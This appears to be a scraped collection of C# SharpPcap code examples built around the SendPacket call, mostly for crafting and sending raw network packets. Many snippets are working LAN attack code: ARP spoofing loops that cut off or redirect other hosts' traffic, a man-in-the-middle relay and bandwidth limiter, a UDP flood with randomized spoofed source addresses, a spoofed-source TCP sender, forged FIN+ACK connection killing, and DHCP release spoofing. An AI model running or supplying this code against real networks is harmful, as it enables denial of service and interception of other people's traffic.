예제 #1
0
        public void Limiter()
        {
            try
            {
                RawCapture rawCapture;
                do
                {
                    if ((rawCapture = capturedevice.GetNextPacket()) != null)
                    {
                        EthernetPacket Packet;
                        try
                        {
                            Packet = PacketDotNet.Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as EthernetPacket;
                            if (Packet == null)
                            {
                                return;
                            }
                        }
                        catch (Exception)
                        {
                            continue;
                        }

                        if (Packet.SourceHwAddress.Equals(device.MAC))
                        {
                            if (device.UploadCap == 0 || device.UploadCap > device.PacketsSentSinceLastReset)
                            {
                                Packet.SourceHwAddress      = capturedevice.MacAddress;
                                Packet.DestinationHwAddress = device.GatewayMAC;
                                capturedevice.SendPacket(Packet);
                                device.PacketsSentSinceLastReset += Packet.Bytes.Length;
                            }
                        }
                        else if (Packet.SourceHwAddress.Equals(device.GatewayMAC))
                        {
                            IPv4Packet IPV4 = Packet.Extract(typeof(IPv4Packet)) as IPv4Packet;

                            if (IPV4.DestinationAddress.Equals(device.IP))
                            {
                                if (device.DownloadCap == 0 || device.DownloadCap > device.PacketsReceivedSinceLastReset)
                                {
                                    Packet.SourceHwAddress      = capturedevice.MacAddress;
                                    Packet.DestinationHwAddress = device.MAC;
                                    capturedevice.SendPacket(Packet);
                                    device.PacketsReceivedSinceLastReset += Packet.Bytes.Length;
                                }
                            }
                        }
                    }
                } while (device.LimiterStarted && device.Redirected);

                device.LimiterStarted = false;
            }
            catch (Exception)
            {
            }
        }
예제 #2
0
        public void BlockOrRedirect()
        {
            ICaptureDevice capturedevice = (from devicex in CaptureDeviceList.Instance where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == NetStalker.Properties.Settings.Default.friendlyname select devicex).ToList()[0];

            capturedevice.Open();

            #region Spoof

            ARPPacket      ArpPacketForVicSpoof       = new ARPPacket(ARPOperation.Request, MAC, IP, capturedevice.MacAddress, GatewayIP);
            ARPPacket      ArpPacketForGatewaySpoof   = new ARPPacket(ARPOperation.Request, GatewayMAC, GatewayIP, capturedevice.MacAddress, IP);
            EthernetPacket EtherPacketForVicSpoof     = new EthernetPacket(capturedevice.MacAddress, MAC, EthernetPacketType.Arp);
            EthernetPacket EtherPacketForGatewaySpoof = new EthernetPacket(capturedevice.MacAddress, GatewayMAC, EthernetPacketType.Arp);
            EtherPacketForGatewaySpoof.PayloadPacket = ArpPacketForGatewaySpoof;
            EtherPacketForVicSpoof.PayloadPacket     = ArpPacketForVicSpoof;

            #endregion

            #region Protection

            ARPPacket      ArpPacketForVicProtection       = new ARPPacket(ARPOperation.Request, capturedevice.MacAddress, LocalIP, MAC, IP);
            ARPPacket      ArpPacketForGatewayProtection   = new ARPPacket(ARPOperation.Request, capturedevice.MacAddress, LocalIP, GatewayMAC, GatewayIP);
            EthernetPacket EtherPacketForVicProtection     = new EthernetPacket(MAC, capturedevice.MacAddress, EthernetPacketType.Arp);
            EthernetPacket EtherPacketForGatewayProtection = new EthernetPacket(GatewayMAC, capturedevice.MacAddress, EthernetPacketType.Arp);
            EtherPacketForGatewayProtection.PayloadPacket = ArpPacketForGatewayProtection;
            EtherPacketForVicProtection.PayloadPacket     = ArpPacketForVicProtection;

            #endregion



            new Thread(() =>
            {
                try
                {
                    while (Blocked)
                    {
                        capturedevice.SendPacket(EtherPacketForVicSpoof);
                        if (Redirected)
                        {
                            capturedevice.SendPacket(EtherPacketForGatewaySpoof);
                        }
                        if (SpoofProtection)
                        {
                            capturedevice.SendPacket(EtherPacketForGatewayProtection);
                            capturedevice.SendPacket(EtherPacketForVicProtection);
                        }
                        Thread.Sleep(500);
                    }
                }
                catch (PcapException)
                {
                }
            }).Start();
        }
예제 #3
0
 /// <summary>
 /// 发送固定帧按钮
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 private void button2_Click(object sender, EventArgs e)
 {
     try
     {
         device.SendPacket(packetConst);
     }
     catch
     {
         return;
     }
 }
예제 #4
0
        private static void sendDhcpRelease(PhysicalAddress pSourceHwAddress, IPAddress pSourceIpAddress, PhysicalAddress pDestinationHwAddress, IPAddress pDestinationIpAddress)
        {
            PhysicalAddress ethernetSourceHwAddress      = pSourceHwAddress;
            PhysicalAddress ethernetDestinationHwAddress = pDestinationHwAddress;

            var ethernetPacket = new EthernetPacket(ethernetSourceHwAddress,
                                                    ethernetDestinationHwAddress,
                                                    EthernetType.None);


            var ipPacket = new IPv4Packet(pSourceIpAddress, pDestinationIpAddress);

            const ushort udpSourcePort      = 68;
            const ushort udpDestinationPort = 67;
            var          udpPacket          = new UdpPacket(udpSourcePort, udpDestinationPort);

            //-- Combine all bytes to single payload
            byte[] payload = buildDhcpReleasePacket(pSourceIpAddress, pSourceHwAddress, pDestinationIpAddress);

            udpPacket.PayloadData        = payload;
            ipPacket.PayloadPacket       = udpPacket;
            ethernetPacket.PayloadPacket = ipPacket;

            device.SendPacket(ethernetPacket);
            Console.WriteLine("DHCP Release successful send to: " + pDestinationIpAddress + " from: " + pDestinationIpAddress + " at: " + DateTime.Now.ToShortTimeString());
        }
예제 #5
0
        private void btnSendPacket_Click(object sender, RoutedEventArgs e)
        {
            device = gbxDevInfo.DataContext as ICaptureDevice;
            // Open the device
            device.Open();


            try
            {
                IPAddress  ip        = IPAddress.Parse(tbxSourceIp.Text);
                IPAddress  ipaddress = System.Net.IPAddress.Parse(tbxDestinationIp.Text);
                TcpPacket  tcpPakje  = new TcpPacket(80, 80);
                IPv4Packet pakje     = new IPv4Packet(ip, ipaddress);
                pakje.PayloadData = System.Text.Encoding.ASCII.GetBytes(tbxPayloadIp.Text);
                pakje.TimeToLive  = int.Parse(tbxTTLIp.Text);
                // pakje.Protocol = tbxProtocolIp.Text;
                device.SendPacket(pakje);
                Console.WriteLine("-- Packet sent successfuly.");
            }
            catch (Exception ex)
            {
                Console.WriteLine("-- " + ex.Message);
            }

            // Close the pcap device
            device.Close();
            Console.WriteLine("-- Device closed.");
        }
예제 #6
0
 public static void Disconnect(IView view, Dictionary <IPAddress, PhysicalAddress> targetlist, IPAddress gatewayipaddress, PhysicalAddress gatewaymacaddress, string interfacefriendlyname)
 {
     engagedclientlist = new Dictionary <IPAddress, PhysicalAddress>();
     capturedevice     = (from devicex in CaptureDeviceList.Instance where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
     capturedevice.Open();
     foreach (var target in targetlist)
     {
         IPAddress      myipaddress = ((SharpPcap.WinPcap.WinPcapDevice)capturedevice).Addresses[1].Addr.ipAddress; //possible critical point : Addresses[1] in hardcoding the index for obtaining ipv4 address
         ARPPacket      arppacketforgatewayrequest      = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), gatewayipaddress, capturedevice.MacAddress, target.Key);
         EthernetPacket ethernetpacketforgatewayrequest = new EthernetPacket(capturedevice.MacAddress, gatewaymacaddress, EthernetPacketType.Arp);
         ethernetpacketforgatewayrequest.PayloadPacket = arppacketforgatewayrequest;
         new Thread(() =>
         {
             disengageflag = false;
             DebugOutputClass.Print(view, "Spoofing target " + target.Value.ToString() + " @ " + target.Key.ToString());
             try
             {
                 while (!disengageflag)
                 {
                     capturedevice.SendPacket(ethernetpacketforgatewayrequest);
                 }
             }
             catch (PcapException ex)
             {
                 DebugOutputClass.Print(view, "PcapException @ DisconnectReconnect.Disconnect() [" + ex.Message + "]");
             }
             DebugOutputClass.Print(view, "Spoofing thread @ DisconnectReconnect.Disconnect() for " + target.Value.ToString() + " @ " + target.Key.ToString() + " is terminating.");
         }).Start();
         engagedclientlist.Add(target.Key, target.Value);
     }
     ;
 }
예제 #7
0
        private void SendPacket(object sender, EventArgs e)
        {
            EthernetPacket eth = aARPPacket();

            device.SendPacket(eth);
            Count++;
            txtCount.Text = Count.ToString();
        }
예제 #8
0
        public static void Send(CapDeviceToken t, byte[] packet)
        {
            ICaptureDevice dev = _mapping[t.ID];

            dev.Open();
            dev.SendPacket(packet);
            dev.Close();
        }
예제 #9
0
        // 发送数据包按钮按下事件,此处处理封包发包
        private void SendPacketButton_Click(object sender, EventArgs e)
        {
            // 打开网络设备
            var selectedDeviceIndex = DeviceList.SelectedIndex;

            if (selectedDeviceIndex < 0)
            {
                OutputBox.AppendText("请先选择网络设备。\r\n");
                return;
            }
            var            devices = CaptureDeviceList.Instance;
            ICaptureDevice curDev  = null;

            foreach (var dev in devices)
            {
                if (selectedDeviceIndex == 0)
                {
                    curDev = dev;
                    break;
                }
                selectedDeviceIndex--;
            }
            if (curDev == null)
            {
                OutputBox.AppendText("错误出现在网络设备上,发送数据包失败。\r\n");
                return;
            }
            curDev.Open();

            // 封装数据包
            var            packetType = NetworkLayerComboBox.SelectedIndex * 10 + TransportLayerComboBox.SelectedIndex;
            EthernetPacket ether;

            switch (packetType)
            {
            case 0:     // IPv4 + TCP
                ether = TcPonIPv4PacketMaker();
                OutputBox.AppendText(ether.PrintHex() + "\r\n\r\n");
                break;

            case 1:     // IPv4 + UDP
                ether = UdPonIPv4PacketMaker();
                OutputBox.AppendText(ether.PrintHex() + "\r\n\r\n");
                break;

            case 9:     // ARP
                ether = ArPorRarpPacketMaker();
                OutputBox.AppendText(ether.PrintHex() + "\r\n\r\n");
                break;

            default:
                OutputBox.AppendText("错误出现在数据包协议上,发送数据包失败。\r\n");
                return;
            }

            // 发送数据包
            curDev.SendPacket(ether);
        }
예제 #10
0
        public static void SendARPresponse(ICaptureDevice device, IPAddress srcIP, IPAddress dstIP, PhysicalAddress srcMac, PhysicalAddress dstMac)
        {
            ARPPacket      arp = new ARPPacket(ARPOperation.Response, dstMac, dstIP, srcMac, srcIP);
            EthernetPacket eth = new EthernetPacket(srcMac, dstMac, EthernetPacketType.Arp);

            arp.PayloadData   = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
            eth.PayloadPacket = arp;
            device.SendPacket(eth);
        }
예제 #11
0
파일: ARPReader.cs 프로젝트: onixion/MAD
        public static void ExecuteRequests(IPAddress destIP)
        {
            EthernetPacket _ethpac = NetworkHelper.CreateArpBasePacket(_dev.MacAddress);
            ARPPacket      _arppac = new ARPPacket(ARPOperation.Request,
                                                   System.Net.NetworkInformation.PhysicalAddress.Parse("00-00-00-00-00-00"),
                                                   destIP,
                                                   _ethpac.SourceHwAddress,
                                                   srcAddress);

            _ethpac.PayloadPacket = _arppac;
            try
            {
                _dev.SendPacket(_ethpac);
            }
            catch (Exception ex)
            {
                Logger.Log("Problems with sending ArpRequest flood: " + ex.ToString(), Logger.MessageType.ERROR);
            }
        }
예제 #12
0
        /// <summary>
        /// Actively monitor ARP packets for signs of new clients after GetAllClients active scan is done
        /// </summary>
        public static void BackgroundScanStart(IView view, string interfacefriendlyname)
        {
            try
            {
                IPAddress myipaddress = ((SharpPcap.WinPcap.WinPcapDevice)capturedevice).Addresses[1].Addr.ipAddress; //possible critical point : Addresses[1] in hardcoding the index for obtaining ipv4 address
                #region Sending ARP requests to probe for all possible IP addresses on LAN
                new Thread(() =>
                {
                    try
                    {
                        while (capturedevice != null)
                        {
                            for (int ipindex = 1; ipindex <= 255; ipindex++)
                            {
                                ARPPacket arprequestpacket    = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(GetRootIp(myipaddress) + ipindex), capturedevice.MacAddress, myipaddress);
                                EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                                ethernetpacket.PayloadPacket  = arprequestpacket;
                                capturedevice.SendPacket(ethernetpacket);
                            }
                        }
                    }
                    catch (PcapException ex)
                    {
                        DebugOutputClass.Print(view, "PcapException @ GetClientList.BackgroundScanStart() probably due to capturedevice being closed by refreshing or by exiting application [" + ex.Message + "]");
                    }
                    catch (Exception ex)
                    {
                        DebugOutputClass.Print(view, "Exception at GetClientList.BackgroundScanStart() inside new Thread(()=>{}) while sending packets [" + ex.Message + "]");
                    }
                }).Start();
                #endregion

                #region Assign OnPacketArrival event handler and start capturing
                capturedevice.OnPacketArrival += (object sender, CaptureEventArgs e) =>
                {
                    Packet    packet    = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
                    ARPPacket arppacket = (ARPPacket)packet.Extract(typeof(ARPPacket));
                    if (!clientlist.ContainsKey(arppacket.SenderProtocolAddress) && arppacket.SenderProtocolAddress.ToString() != "0.0.0.0" && areCompatibleIPs(arppacket.SenderProtocolAddress, myipaddress))
                    {
                        DebugOutputClass.Print(view, "Added " + arppacket.SenderProtocolAddress.ToString() + " @ " + GetMACString(arppacket.SenderHardwareAddress) + " from background scan!");
                        clientlist.Add(arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
                        view.ListView1.Invoke(new Action(() => view.ListView1.Items.Add(new ListViewItem(new string[] { (clientlist.Count).ToString(), arppacket.SenderProtocolAddress.ToString(), GetMACString(arppacket.SenderHardwareAddress), "On", ApplicationSettingsClass.GetSavedClientNameFromMAC(GetMACString(arppacket.SenderHardwareAddress)) }))));
                        view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text = clientlist.Count + " device(s) found"));
                    }
                };
                capturedevice.StartCapture();
                #endregion
            }
            catch (Exception ex)
            {
                DebugOutputClass.Print(view, "Exception at GetClientList.BackgroundScanStart() [" + ex.Message + "]");
            }
        }
예제 #13
0
        public static void Disconnect(ListView view, Dictionary <IPAddress, PhysicalAddress> targetlist, IPAddress gatewayipaddress, PhysicalAddress gatewaymacaddress, string interfacefriendlyname)
        {
            engagedclientlist = new Dictionary <IPAddress, PhysicalAddress>();
            capturedevice     = (from devicex in CaptureDeviceList.Instance where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
            capturedevice.Open();

            foreach (var target in targetlist)
            {
                ARPPacket      ArpPacketForVicSpoof       = new ARPPacket(ARPOperation.Request, target.Value, target.Key, capturedevice.MacAddress, gatewayipaddress);
                ARPPacket      ArpPacketForGatewaySpoof   = new ARPPacket(ARPOperation.Request, gatewaymacaddress, gatewayipaddress, capturedevice.MacAddress, target.Key);
                EthernetPacket EtherPacketForVicSpoof     = new EthernetPacket(capturedevice.MacAddress, target.Value, EthernetPacketType.Arp);
                EthernetPacket EtherPacketForGatewaySpoof = new EthernetPacket(capturedevice.MacAddress, gatewaymacaddress, EthernetPacketType.Arp);
                EtherPacketForGatewaySpoof.PayloadPacket = ArpPacketForGatewaySpoof;
                EtherPacketForVicSpoof.PayloadPacket     = ArpPacketForVicSpoof;
                new Thread(() =>
                {
                    disengageflag = false;
                    try
                    {
                        while (!disengageflag)
                        {
                            capturedevice.SendPacket(EtherPacketForVicSpoof);
                            if (RedirectionActive)
                            {
                                capturedevice.SendPacket(EtherPacketForGatewaySpoof);
                            }
                        }
                    }
                    catch (PcapException)
                    {
                    }
                }).Start();

                engagedclientlist.Add(target.Key, target.Value);
            }
        }
예제 #14
0
        void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            var Now      = DateTime.Now; // cache 'DateTime.Now' for minor reduction in cpu overhead
            var interval = Now - _lastStatisticsOutput;

            if (interval > _lastStatisticsInterval)
            {
                //Console.WriteLine("device_OnPacketArrival: " + e.Device.Statistics);
                _captureStatistics       = e.Device.Statistics;
                _statisticsUiNeedsUpdate = true;
                _lastStatisticsOutput    = Now;
            }

            if (CaptureForm._pshPacket != null && _iRecvPackets <= RECEIVING_PACKED_EXPECTED)
            {
                Packet    p   = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
                TcpPacket tcp = TcpPacket.GetEncapsulated(p);
                if (tcp.Psh && tcp.SourcePort == TARGET_PORT && tcp.PayloadData.Length > 0)
                {
                    IPv4Packet ip         = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._pshPacket);
                    IPv4Packet lastAckIp  = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._lastAckPacket);
                    TcpPacket  lastAckTcp = TcpPacket.GetEncapsulated(CaptureForm._lastAckPacket);
                    lastAckIp.Id = (ushort)(ip.Id + 10);
                    lastAckIp.UpdateIPChecksum();
                    lastAckTcp.SequenceNumber       = tcp.AcknowledgmentNumber;
                    lastAckTcp.AcknowledgmentNumber = (uint)(tcp.SequenceNumber + tcp.PayloadData.Length);
                    lastAckTcp.UpdateTCPChecksum();
                    _device.SendPacket(CaptureForm._lastAckPacket);
                    CaptureForm._pshPacket = CaptureForm._lastAckPacket;
                    _iRecvPackets++;
                }
            }

            lock (_queueLock)
                _packetQueue.Add(e.Packet);
        }
예제 #15
0
        public List <Target> ScanSubnet(ICaptureDevice dev, List <string> cleanIps, List <Target> macsResponding, PhysicalAddress ourMac, IPAddress ourIp)
        {
            foreach (string ip in cleanIps)
            {
                string[] ipArray = ip.Split('.');

                IPAddress targetIp = new IPAddress((uint)IPAddress.NetworkToHostOrder((int)IPAddress.Parse(ipArray[3] + "." + ipArray[2] + "." + ipArray[1] + "." + ipArray[0]).Address));

                EthernetPacket ethernetPacket = CreateRequestArpPacket(dev, ourMac, ourIp, targetIp, PhysicalAddress.Parse("FFFFFFFFFFFF"));

                dev.SendPacket(ethernetPacket);
            }

            return(macsResponding);
        }
 public void SendingPACKETS(ICaptureDevice device)
 {
     device.Open();
     byte[] bytes = new byte[1];// GetRandomPacket();
     try
     {
         device.SendPacket(bytes);
         Console.WriteLine("Packet sent");
     }
     catch (Exception e)
     {
         Console.WriteLine(e.Message);
     }
     device.Close();
 }
예제 #17
0
        void Program_OnPacketArrival10(object sender, CaptureEventArgs e)
        {
            var packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data) as EthernetPacket;


            // Проверка  наличия пакетов уровня IP
            var ipPacket = (IpPacket)packet.Extract(typeof(IpPacket));

            if (ipPacket == null)
            {
                return;
            }

            // критерий отбора по ip
            if ((ipPacket.SourceAddress == ipSourceAddress || ipPacket.DestinationAddress == ipDestinationAddress))
            {
                query.PutValue(packet);
            }
            else
            {
                //подмена МАС
                if (packet.SourceHwAddress.Equals(MACsource))
                {
                    packet.SourceHwAddress      = GlobalDeviceServer.MacAddress;
                    packet.DestinationHwAddress = MACdestination;
                    GlobalDeviceServer.SendPacket(packet);
                }

                if (packet.SourceHwAddress.Equals(MACdestination))
                {
                    packet.SourceHwAddress      = GlobalDeviceClient.MacAddress;
                    packet.DestinationHwAddress = MACsource;
                    GlobalDeviceClient.SendPacket(packet);
                }
            }
        }
예제 #18
0
        public void sendWithSpoofedAddress(IPAddress addr, byte[] msg)
        {
            ushort tcpSourcePort      = 20000;
            ushort tcpDestinationPort = 20000;
            var    tcpPacket          = new TcpPacket(tcpSourcePort, tcpDestinationPort);

            stationConsole.Text  += "Sending Spoof Data " + BitConverter.ToString(msg) + Environment.NewLine;
            tcpPacket.PayloadData = msg;
            //var ipSourceAddress = System.Net.IPAddress.Parse("192.168.1.225");
            var ipSourceAddress      = addr;
            var ipDestinationAddress = System.Net.IPAddress.Parse(splitClientList[0].ToString());
            var ipPacket             = new IPv4Packet(ipSourceAddress, ipDestinationAddress);
            //string destinationHwAddress = buildDstHWAddr();
            string destinationHwAddress         = BitConverter.ToString(splitClientHWaddr);
            var    ethernetDestinationHwAddress = System.Net.NetworkInformation.PhysicalAddress.Parse(destinationHwAddress);

            stationConsole.Text += "Sending Spoofed Msg to Station: " + Environment.NewLine + "IP: " + ipDestinationAddress.ToString() +
                                   "HW: " + ethernetDestinationHwAddress.ToString() + Environment.NewLine;
            // NOTE: using EthernetPacketType.None to illustrate that the Ethernet
            //       protocol type is updated based on the packet payload that is
            //       assigned to that particular Ethernet packet
            var ethernetPacket = new EthernetPacket(address,
                                                    ethernetDestinationHwAddress,
                                                    EthernetPacketType.None);

            // Now stitch all of the packets together
            ipPacket.PayloadPacket       = tcpPacket;
            ethernetPacket.PayloadPacket = ipPacket;

            // and print out the packet to see that it looks just like we wanted it to
            Console.WriteLine(ethernetPacket.ToString());

            // to retrieve the bytes that represent this newly created EthernetPacket use the Bytes property
            byte[] packetBytes = ethernetPacket.Bytes;

            try
            {
                // Send the packet out the network device
                transmitDevice.SendPacket(packetBytes);
                stationConsole.Text += "-- Packet sent successfuly." + Environment.NewLine;
            }
            catch (Exception eX)
            {
                stationConsole.Text += "Pkt send failed" + Environment.NewLine;
            }
        }
예제 #19
0
        private void btnSendPacket_Click(object sender, EventArgs e)
        {
            // sends Packets
            string packetsendSourceIP        = txtPacketSourceIP.Text;
            string packetsendDestinationIP   = txtPacketDestinationIP.Text;
            string packetsendSourceMac       = txtPacketSourceMac.Text;
            string packetsendDestination     = txtPacketDestinationMac.Text;
            string packetsendProtocol        = cmbPacketType.Text;
            int    packetsendSourcePort      = int.Parse(txtPacketSourcePort.Text);
            int    packetsendDestinationPort = int.Parse(txtPaxketDestinationPort.Text);

            if (true)
            {
                packetToSend = Monitor.Packet(packetsendSourceIP, packetsendDestinationIP,
                                              packetsendSourcePort, packetsendDestinationPort, packetsendSourceMac,
                                              packetsendDestination, (EthernetPacketType)cmbPacketType.SelectedItem);
                device.SendPacket(packetToSend);
            }
        }
예제 #20
0
        //发送byte[]数据到当前活动网卡
        private void sendPacket(byte[] bytes)
        {
            //选择一个网卡
            ICaptureDevice device = getActiveNetAdapte();

            device.Open();

            try
            {
                // Send the packet out the network device
                device.SendPacket(bytes);
            }
            catch (Exception e)
            {
                log.writeLog("发送原始包出现异常:", log.msgType.error);
            }
            // Close the pcap device
            //device.Close();
        }
예제 #21
0
        private void processUdpFlood(Object Params)
        {
            AttackParams _params = Params as AttackParams;

            if (_params.UdpFloodEnabled)
            {
                NetworkInstruments.IpRandomizer IpSpoofer = new NetworkInstruments.IpRandomizer();
                PhysicalAddress TargetMac    = NetworkInstruments.ResolveMac(Adapter, _params.Target.Address);
                ICaptureDevice  ActiveDevice = NetworkInstruments.getActiveDevice(Adapter.GetPhysicalAddress());
                ActiveDevice.Open();
                UdpPacket  udpPacket = new UdpPacket(0, 80);
                IPv4Packet ipPacket  = new IPv4Packet(IPAddress.Any, _params.Target.Address);
                ipPacket.Protocol      = IPProtocolType.UDP;
                ipPacket.PayloadPacket = udpPacket;
                if (TargetMac == null)
                {
                    ErrorHandler(1, "Can not get MAC target address");
                    return;
                }
                ;  //unable to resolve mac
                EthernetPacket ethernetPacket = new EthernetPacket(Adapter.GetPhysicalAddress(), TargetMac, EthernetPacketType.None);
                ethernetPacket.PayloadPacket = ipPacket;
                while (Attacking)
                {
                    udpPacket.SourcePort      = (ushort)Randomizer.Next(1, 49160);
                    udpPacket.DestinationPort = (ushort)Randomizer.Next(1, 49160);
                    udpPacket.PayloadData     = new byte[Randomizer.Next(500)];
                    Randomizer.NextBytes(udpPacket.PayloadData);
                    udpPacket.UpdateCalculatedValues();
                    ipPacket.SourceAddress = IpSpoofer.GetNext(ref Randomizer, _params.RestrictedPool);
                    ipPacket.TimeToLive    = Randomizer.Next(20, 128);
                    ipPacket.UpdateCalculatedValues();
                    ipPacket.UpdateIPChecksum();
                    ethernetPacket.SourceHwAddress = NetworkInstruments.GetRandomMac(ref Randomizer);
                    ethernetPacket.UpdateCalculatedValues();
                    udpPacket.UpdateUDPChecksum();
                    ActiveDevice.SendPacket(ethernetPacket);
                    udpCounter++;
                }
            }
        }
예제 #22
0
파일: Form1.cs 프로젝트: RobertCall/Nets1
        void send_packet()
        {
            var tcpPacket = new TcpPacket(UInt16.Parse(SRC_port_textBox.Text), UInt16.Parse(DST_port_textBox.Text));

            var ipSourceAddress      = IPAddress.Parse(SRC_IP_textBox.Text); // "127.0.0.1"
            var ipDestinationAddress = IPAddress.Parse(DST_IP_textBox.Text); //"127.0.0.1"
            var ipPacket             = new IPv4Packet(ipSourceAddress, ipDestinationAddress);

            tcpPacket.PayloadData = Encoding.Default.GetBytes(Data_textBox.Text); // "I like dogs"

            var            sourceHwAddress              = "90-90-90-90-90-90";
            var            ethernetSourceHwAddress      = System.Net.NetworkInformation.PhysicalAddress.Parse(sourceHwAddress);
            var            destinationHwAddress         = "80-80-80-80-80-80";
            var            ethernetDestinationHwAddress = System.Net.NetworkInformation.PhysicalAddress.Parse(destinationHwAddress);
            EthernetPacket ethernetPacket = new EthernetPacket(ethernetSourceHwAddress,
                                                               ethernetDestinationHwAddress,
                                                               EthernetType.None);

            ipPacket.PayloadPacket       = tcpPacket;
            ethernetPacket.PayloadPacket = ipPacket;
            captureDevice.SendPacket(ethernetPacket);
        }
예제 #23
0
        /// <summary>
        ///     尝试发送FIN+ACK标志结束某一组互联网上的连接。
        /// </summary>
        /// <param name="srcAddress">连接的起点,应为小端地址。</param>
        /// <param name="srcPort">连接起点的端口。</param>
        /// <param name="dstAddress">连接的终点,应为大端地址。</param>
        /// <param name="dstPort">连接终点的端口。</param>
        /// <returns>成功发送包返回true,失败返回false。</returns>
        public bool KillConnection(IPAddress srcAddress, ushort srcPort, IPAddress dstAddress, ushort dstPort)
        {
            EthernetPacket ether;

            // 寻找指定目标
            lock (_tcpLinks) {
                if (_tcpLinks.All(item => !(item.SrcAddress.Equals(srcAddress) && item.SrcPort == srcPort) ||
                                  !(item.DstAddress.Equals(dstAddress) && item.DstPort == dstPort)))
                {
                    return(false);
                }
                ether = new EthernetPacket(_tcpLinks.Find(item => item.SrcAddress.Equals(srcAddress) && item.SrcPort == srcPort &&
                                                          item.DstAddress.Equals(dstAddress) && item.DstPort == dstPort)
                                           .LastPacket.BytesHighPerformance);
            }

            // 解析包数据
            var ipv4 = (IPv4Packet)ether.PayloadPacket;
            var tcp  = (TcpPacket)ipv4.PayloadPacket;

            // 设置数据包内容
            var payload = new TcpPacket(tcp.SourcePort, tcp.DestinationPort)
            {
                Fin                  = true,
                Ack                  = true,
                SequenceNumber       = (uint)(tcp.SequenceNumber + (tcp.PayloadPacket?.TotalPacketLength ?? 0)),
                AcknowledgmentNumber = tcp.AcknowledgmentNumber,
                WindowSize           = tcp.WindowSize
            };

            payload.UpdateCalculatedValues();

            ipv4.PayloadPacket   = payload;
            payload.ParentPacket = ipv4;
            payload.UpdateTCPChecksum();

            _device.SendPacket(ether);
            return(true);
        }
예제 #24
0
 public static void Disconnect(Dictionary <IPAddress, PhysicalAddress> agListesi, IPAddress atılacakIP, PhysicalAddress atılacakMAC, string donanimIsmi)
 {
     alikoyulanListe = new Dictionary <IPAddress, PhysicalAddress>();                                                                                                //
     yakalamaAygiti  = (from devicex in CaptureDeviceList.Instance where ((WinPcapDevice)devicex).Interface.FriendlyName == donanimIsmi select devicex).ToList()[0]; //buradaki koddaki amacımız
     yakalamaAygiti.Open();
     foreach (var hedef in agListesi)
     {
         IPAddress      IPAdres        = ((WinPcapDevice)yakalamaAygiti).Addresses[1].Addr.ipAddress;
         ARPPacket      ARPPaketi      = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), atılacakIP, yakalamaAygiti.MacAddress, hedef.Key);
         EthernetPacket EthernetPaketi = new EthernetPacket(yakalamaAygiti.MacAddress, atılacakMAC, EthernetPacketType.Arp);
         EthernetPaketi.PayloadPacket = ARPPaketi;
         new Thread(() =>
         {
             bayrakSerbestMi = false;
             while (!bayrakSerbestMi)
             {
                 yakalamaAygiti.SendPacket(EthernetPaketi);
             }
         }).Start();
         alikoyulanListe.Add(hedef.Key, hedef.Value);
     }
     ;
 }
예제 #25
0
        private void btnSendPacket_Click(object sender, RoutedEventArgs e)
        {
            device = gbxDevInfo.DataContext as ICaptureDevice;
            // Open the device
            device.Open();

            try
            {
                IPAddress ip = IPAddress.Parse(tbxSourceIp.Text);
                IPAddress ipaddress = System.Net.IPAddress.Parse(tbxDestinationIp.Text);
                TcpPacket tcpPakje = new TcpPacket(80, 80);
                IPv4Packet pakje = new IPv4Packet(ip, ipaddress);
                pakje.PayloadData = System.Text.Encoding.ASCII.GetBytes(tbxPayloadIp.Text);
                pakje.TimeToLive = int.Parse(tbxTTLIp.Text);
               // pakje.Protocol = tbxProtocolIp.Text;
                device.SendPacket(pakje);
                Console.WriteLine("-- Packet sent successfuly.");
            }
            catch (Exception ex)
            {
                Console.WriteLine("-- " + ex.Message);
            }

            // Close the pcap device
            device.Close();
            Console.WriteLine("-- Device closed.");
        }
예제 #26
0
        /// <summary>
        /// Populates listview with machines connected to the LAN
        /// </summary>
        /// <param name="view"></param>
        /// <param name="interfacefriendlyname"></param>
        public static void GetAllClients(IView view, string interfacefriendlyname)
        {
            DebugOutputClass.Print(view, "Refresh client list");
            #region initialization
            view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text       = "Please wait..."));
            view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = 0));
            if (capturedevice != null)
            {
                try
                {
                    capturedevice.StopCapture(); //stop previous capture
                    capturedevice.Close();       //close previous instances
                }
                catch (PcapException ex)
                {
                    DebugOutputClass.Print(view, "Exception at GetAllClients while trying to capturedevice.StopCapture() or capturedevice.Close() [" + ex.Message + "]");
                }
            }
            clientlist = new Dictionary <IPAddress, PhysicalAddress>(); //this is preventing redundant entries into listview and for counting total clients
            view.ListView1.Items.Clear();
            #endregion

            CaptureDeviceList capturedevicelist = CaptureDeviceList.Instance;
            capturedevicelist.Refresh();                                                                          //crucial for reflection of any network changes
            capturedevice = (from devicex in capturedevicelist where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
            capturedevice.Open(DeviceMode.Promiscuous, 1000);                                                     //open device with 1000ms timeout
